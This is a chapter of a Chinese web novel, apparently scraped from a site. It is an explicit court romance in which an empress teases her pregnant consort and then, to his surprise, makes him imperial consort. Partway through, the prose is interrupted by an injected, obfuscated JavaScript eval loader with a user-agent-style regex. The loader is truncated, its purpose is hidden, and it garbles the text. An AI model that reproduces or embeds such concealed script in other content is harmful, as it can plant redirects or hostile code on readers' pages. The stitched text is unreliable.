“后宫不得干政,既然是定凤君的人选,陛下可要好生决断。” 方才的笑意已被段云商尽数收敛。 他这副认真而赌气的模样惹得君梵一阵发笑。 温热的指骨蹭了蹭他的面颊,她诱哄道:“玉侍君没有什么想法吗?” 他木着脸:“前朝之事,臣侍哪敢有什么想法?” 君梵若有所思的颔首,而后道:“既然玉侍君有心避嫌,那朕这侍奉笔墨一事,是否该另寻美男呢?” 段云商猛然回头,咬着唇肉瞪她一眼。 不痛不痒,也没有任何威慑力,倒像被爪子都没长齐的小猫儿挠了挠心口。 “陛下河还没过,便要拆桥吗?”猫儿暗戳戳地磨着牙。 “玉侍君这是哪里的话,”君梵面上仍是温和的淡笑。 同她相熟之后,段云商知晓她永远都是这副温和有礼的模样,却叫他看不清这人究竟在心中又酝酿着怎样的坏主意。 她轻柔地抚着段云商的小腹:“玉侍君的主意甚好,但侍君方才也说了,到底顾及前朝后宫有别,怎么又成朕的事了?” 段云商有些受不住她这幅模样。 她生得实在是太好看了,同他那个世界的女人又实在不同,他一时间错不开眼。 而今兴许是因着有孕的缘故,他的身子格外敏.感,君梵指尖在他的小腹上打着圈,温温的,微痒,此番举动在他眼里无异于挑.逗。 “你,”段云商别过了头,“你成日在朝堂上头同那些大臣们磨练嘴皮,却拿来后宫对付我,我才不与你争辩。” “反正你就是故意的,”他顿了顿,而后补充道,“你喜欢谁便立谁为凤君,这样的事不要同我说。” 他知晓帝王心思不可揣测,兴许他已经有了合适的人选,但谁能保证在圣旨下达之前不会改变的。 君梵这副模样显然是要他去猜,不过就是想让他说出那个人选是自己,但段云商没有把握君梵绝对会站在他这边。 他的世界里,历朝历代以来,皇后都是会有与之相匹的家室,亦或是贤良淑德的名声,而他着凭空出现在此处之人,何来家世与名声之谈? 耳畔传来她低柔的声音:“又生气,怎么总要对朕生气。” 在她说这段话时,段云商好似察觉到,君梵在此刻有一种前所未有的炽热。 君梵非但没有为此生气,还温和地捏了捏段云商绯红的耳垂。 ……她好像总喜欢惹他生气。 兴许这算是帝王不为人知的癖好。 她的言行举止,莫名让段云商产生一种自己此刻被纵容的感觉。 纵容这个词,起初离他实在是太遥远,可当段云商来到了凤朝之后,却发现,他无时无刻都在被君梵纵容,她简直要将他宠坏了。 “你少捉弄我。”他闷声道。 段云商思绪开始发散。 君梵的确是有许多劣根性在身上。 否则,在先凤君死后,如何又会大费周章地在京城之中寻找许多同他容貌相似的男子。 如此说她后宫之中的男子无一不是先凤君,那他呢,他又算什么? 此刻君梵待他的情意,当真是因为先凤君的容貌吗? 段云商总觉得,自己有些像是横在先凤君与君梵之间的,娇媚外室。 这个念头并非是方才突然出现在他脑海当中的,而是这些时日他睡觉不安稳,昨夜还梦到自己成了被军反养在外面的外室。 而那位正君根本就没有死,不单如此,令他惊惧的是,梦中的自己是甘愿沦为外室,插足两人的感情的。 “侍君好不讲道理,朕何时又捉弄你了,朕本是让你来做抉择,玉侍君怎么还倒打一耙?”她似乎是对怀中的小猫有些无奈。 段云商别扭地不肯开口。 君梵勾了勾指尖,轻柔地挠着他的下巴,宛若哄猫儿一般。 她温热的呼吸洒在耳畔,像是最好的催.情药。 君梵微诧地扬眉,随后看着他泛红的耳尖:“看来玉侍君今日无心商谈政事。” “……浑话。”他半推半就要挣脱她的怀抱,却被君梵禁锢在怀中。 “朕可什么都没说,分明是云商过度理解,不是吗?” 她温和的笑着,手上的动作却没有停顿。 带着龙涎香的呼吸倏地逼近,君梵的鼻尖抵在怀中人脆弱的喉骨上,后者喉骨仓促地做出吞咽的动作。 “嗯,陛下可,可真坏……” 段云商不知何时环上了她的脖颈,最终任由自己埋在她的颈窝,大口大口汲取着属于她的味道。 御书房的空气稠腻而暧昧。 女人馨香的的唇锋印在他的眼尾:“云商,怎么总像只可爱的小猫。” 他的眼尾又红了,被欺负时无一例外,但她很喜欢段云商这副模样。 段云商脑海似乎被人注入了大量而轻飘的情绪,他只知道被君梵操控着浮浮沉沉。 她总把他当做小猫,段云商恍惚时回想着,不论是她安抚的手段还是调笑的语气。 但他对此欲罢不能。 君梵对他总是温和里夹杂着掌控,却恰到好处,从不过火。 这些东西如同蚕丝慢慢将他渗透,待段云商察觉出来时,早就离不开她了。 “玉侍君,在朕身边,还能分神吗?” 君梵轻微沙哑,低沉的声音剐蹭至他的耳畔。 段云商猛然一抖,可君梵似乎是要惩罚他一般,柔软的指腹不再关照他。 他猛然从云端坠落,这样不上不下的感觉,将他的脸憋得潮红。 “我,不是。”他的解释也变得苍白无力。 然下一刻,他陡然腾空,被君梵放置在桌边上。 御用桌案上刻着繁复而精美的花纹,凸起的纹路透过布料硌在他细腻的肌肤上。 脑海中猛然一空,而后是记忆回笼。 上次他便将君梵的桌案弄脏了,斑斑水痕又被君梵蹭到了他的面颊,而殿外是等着被帝王召见的臣子们。 君梵坏心眼地将指腹探入他的口中,捏着他水淋淋的可怜舌尖,却又不许他出声。 “乖乖,要是出声,那些大臣又该如何想你我?” 她温声诱哄着,动作却没有半分含糊。 段云商被她捏着舌尖,濡湿的水意浸染了她的指骨,他为了遏制声音差点背过气去。 君梵吻上他的长睫,像是在欣赏价值连城的瓷器:“很棒。” 她从来不会吝啬对段云商的夸奖。 但却不能一直晾着大臣们。 大臣们进来时,殿内还带着可疑的甜腻味道,但她们的陛下一丝不苟,便是发丝都没有乱半分,没人会怀疑她们的明君。 段云商跪坐在桌案下,心跳如鼓。 他已然能想到,倘若这些大臣发现他的存在,又当如何。 她们定然会捅到前朝上,届时,他便是魅惑君王的狐狸精,勾引帝王白日宣淫,甚至被纵容至御书房。 “告诉朕,你在想什么呢?”君梵抚着他的发丝。 墨黑的瞳仁温柔的攫着他。 段云商像是被经验老到的猎手彻底掌控,他无法逃脱,乖顺而断断续续的道:“那日大臣,差点发现我……” 他差点就要背负这些坏名声。 君梵微顿,面上是令人如沐春风的笑意:“但你做得很不错。” “如此说来,朕要奖励你的不专心了。”君梵唇锋贴了贴他的唇瓣。 笔山发出清脆的响儿,上好的金丝楠木轻微晃动着,任由御笔与笔山相撞。 叮铛的声响熏染红了少年的面庞。 半晌,朱墨被柔软的指腹蘸取,被抹在他脆弱的喉骨上。 “我们云商最适合艳丽的色泽了。”低柔的气流抚着他的鬓发。 她们紧密相贴,直至攀升顶峰。 —————————— 晚间繁星点点,段云商依偎在她的怀中,轻轻戳着君梵的胸口:“陛下欺负人的招数真是越来越多了,我当初怎么没发现,陛下竟这么坏?” “你不也喜欢极了。” 君梵慵懒地半眯着眼眸,任由他欲盖弥彰地胡乱吻自己。 “玉侍君总是不禁逗,朕说些什么你都要脸红,”她绕着那绺柔顺的发丝,“这样的人,当初是怎么当上大侠的,段大侠?” 段云商耳尖滚烫,他偏头,一口咬住女人戳着他面颊的手。 但终究没舍得用劲,只用犬齿慢慢磨出一个印子。 “段大侠”这一称谓从旁人口中说出,必然是尊敬他的,可在君梵的口中就变了味道,怎么听怎么都像是调情。 “你惯不正经的。”段云商严苛论责道,“若是大臣们知晓,陛下寻常没有努力政务,反倒将力气用在床笫之间,言官们又当如何笔伐陛下?” 君梵颔首,看着他这副张牙舞爪的样子笑言:“玉侍君好似忘却了什么?” 段云商狐疑的看着她:“什么?” 君梵:“每次不都是玉侍君主动来勾我,朕哪日不是努力政务,但玉侍君磨会儿墨就哼哼着叫腰疼,要朕揉揉才能好,每次都叫朕都揉道哪儿去了。” 他只觉眼前的人没憋好话,可想着一回事,听她说出来又是另一回事。 “我,我才没有那样!”段云商瞪大眼眸迭口否认。 他确实耍赖,让君梵为他揉腰来着,可君梵的手也不老实。 “若非,若非是你四处点火,我也不至于……” 他越说声音越小。 这样的事实在不怎么光荣。 “可玉侍君每次不都说再也不理朕了,再也不要了,”她的胸腔缓缓震动着,惹得人耳朵酥麻,“可玉侍君也没少要啊……” “君梵!”段云商口不择言地打断她,将额抵在她的胸口不去看她。 段云商心中七上八下。 他寻常没少私下心想她的名讳,可真当着君梵的面喊她,他其实是不敢的。 他不害怕君梵,他是怕自己触及了帝王的威严,君梵就不喜欢他了。 失去的恐惧与不确定的担忧充斥着他的脑海,段云商等着审判到来。 君梵揉捏着他后颈的手微微一顿。 此刻她看着被自己宠坏了的小猫,意味不明地以指腹缓缓摩挲着段云商的唇瓣。 “胆子真大,”她道,“是被朕惯坏了。” 段云商抿了抿唇,终还是抬眸打量着她:“你生气了吗?” “我是闹着玩的,你要是不喜欢,我就不叫了。” 他抿着唇,小心翼翼地偷看君梵的神色。 繁星闪烁,君梵没有应声,只继续捏了捏她柔软的后颈。 在他忐忑不已,正想着该如何开口打破沉寂时,后颈突然被什么东西冰了一下。 余韵仍在,他受不住半点刺激,闷哼一声:“陛,陛下,这是做什么。” 他抬眸对上君梵柔黑眼眸。 下一刻,掌心便多了一块玉。 在月光的照射下,温润的玉料折射出好看的光泽,段云商看到,那是一只翻着肚皮伸懒腰的狸奴。 “印章?”他翻来覆去的看着。 “喜欢吗?”君梵道。 段云商迟疑了一瞬,而后矜持颔首:“嗯。” 君梵下巴抵在他蓬松柔软的发顶,慢悠悠地拉长了语调:“叫声‘好姐姐’,朕便消气,这玉章便给你。” 她分明是调侃,带着玩味,但段云商看着她的眼眸,许久道:“……好姐姐。” 他知道君梵或许是在逗他玩,但他还是怕君梵以后会不喜欢他。 于是他对上女人幽深的眼眸:“那我多叫几声,陛下会一直喜欢我吗?” 后宫的恩宠是谁也看不透,说不准的。 但他想让君梵对他的宠爱再久一点,他很喜欢君梵。 这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罢了,待到封后的圣旨传来,再让他惊喜一番。 “陛下,礼部尚书求见。” 段云商原本还赖在她的怀中,听到月晚的声音,当即起身拢住滑下肩的衣衫。 他面色焦急,急匆匆地又想钻进桌下。 可怜那块明黄绣纹的桌布还洇湿着,没来得及叫下人去更换,段云商想起不对便又折了回来。 君梵便笑着批评:“披头散发的,像个小疯子。” 这边的“小疯子”眼前一亮,果断钻进了她身后的锦被里。 御书房暂供帝王休息的龙榻并不小,他麻利钻进阴影之下,果断将自己卷成了一条被卷。 “进来吧。”君梵轻轻拍了那条被卷两下,起身道。 已然入夏了,段云商如今像自己紧紧裹在被子里,可想而知究竟有多热,可偏偏君梵离开龙榻之时,不曾为他将龙榻的床幔落下。 此刻他若是从被子里出来,定然会被那位户部尚书发觉。 依着他对君梵的了解,段云商已然开始怀疑,她究竟是不是故意的。 “……陛下,国不可一日无后。”礼部尚书苍老的声音传来。 思绪纷乱的段云商便从两人很长的对话中捕捉到了这一句。 段云商的耳朵也跟着竖了起来。 君梵不可察地朝着他的方向撩了一眼。 她对气息的捕捉很敏锐,明显察觉到在礼部尚书的话音落下之时,段云商便跟着屏住了呼吸。 猫都是这幅德行。 她养的那只狸奴也是如此,分明极想吃她给的吃食,却总要装着自己对此不感兴趣,直到她作势要拿走,才埋头苦吃。 “册立后宫之主并不着急,前朝要紧。”她淡声道。 她背对着龙榻,段云商而瞧不清君梵面上的情绪。 不要紧,原来君梵根本就没打算册封凤君,方才也只是说来逗逗他。 段云商缓缓垂下了眼睫,方才浑身的热意也淡去几分。 “陛下,前朝后宫不分家啊。”礼部尚书依然苦口婆心。 君梵当时掀起眼界看她:“你也是老臣了,你觉得朕,需要凤君之位,来巩朕的位置?” 礼部尚书忙不迭地跪在地上,冷汗连连:“陛下恕罪,老臣不是这个意思,可朝臣们都为此发愁,老臣,老臣也是真心盼着陛下好啊。” 她将身子俯得很低。 看得出来她是真心敬畏君梵,也是真心怕她。 礼部尚书是母皇留给她的老臣,君梵登基数年,也知晓尚书不会对自己生出二心,但朝臣们叫嚷得太厉害了,不能这么快就如了她们的意。 “朕自然会好生考虑的。” 君梵顿了顿,视线微微低了些。 这个动作让帝王产生的压迫感更强烈了几分,她问:“王尚书觉得,朕后宫的这四位美男,谁更适合凤君之位……” 王尚书更是惊得头都不敢谈,练练镜湖:“陛下,老臣不敢僭越,陛下自然心中有定夺。” 她简直要吓坏了。 君梵示意她起来,继续道:“既然朝堂要让朕册封后宫之主,那王尚书定然不曾少听闻朝臣们的议论,王尚书听说,凤君当由谁当选?” 君梵将她摘得干净。 王尚书频频吞咽口水,而后道:“……是溪芊,溪侍君。” “啊,溪侍君,”君梵勾了勾唇角,余光瞥了一瞬一动不动的被卷,“朕知晓了,你下去吧。” 她生怕再晚一些,她娇气的猫儿就要闷死在被子里。 然在王尚书出去的一瞬,被卷里的少年唬着脸凝望着她。 “我这次真的生气了,”段云商拢好衣衫下床,“陛下去寻溪侍君吧。” 最好早点告诉他这个好消息。 下一刻便被君梵拦住了去路。 女人抚了抚他汗湿的鬓发,忍俊不禁道:“好凤君,拿了朕为你做的凤印,要将朕赶到哪去?”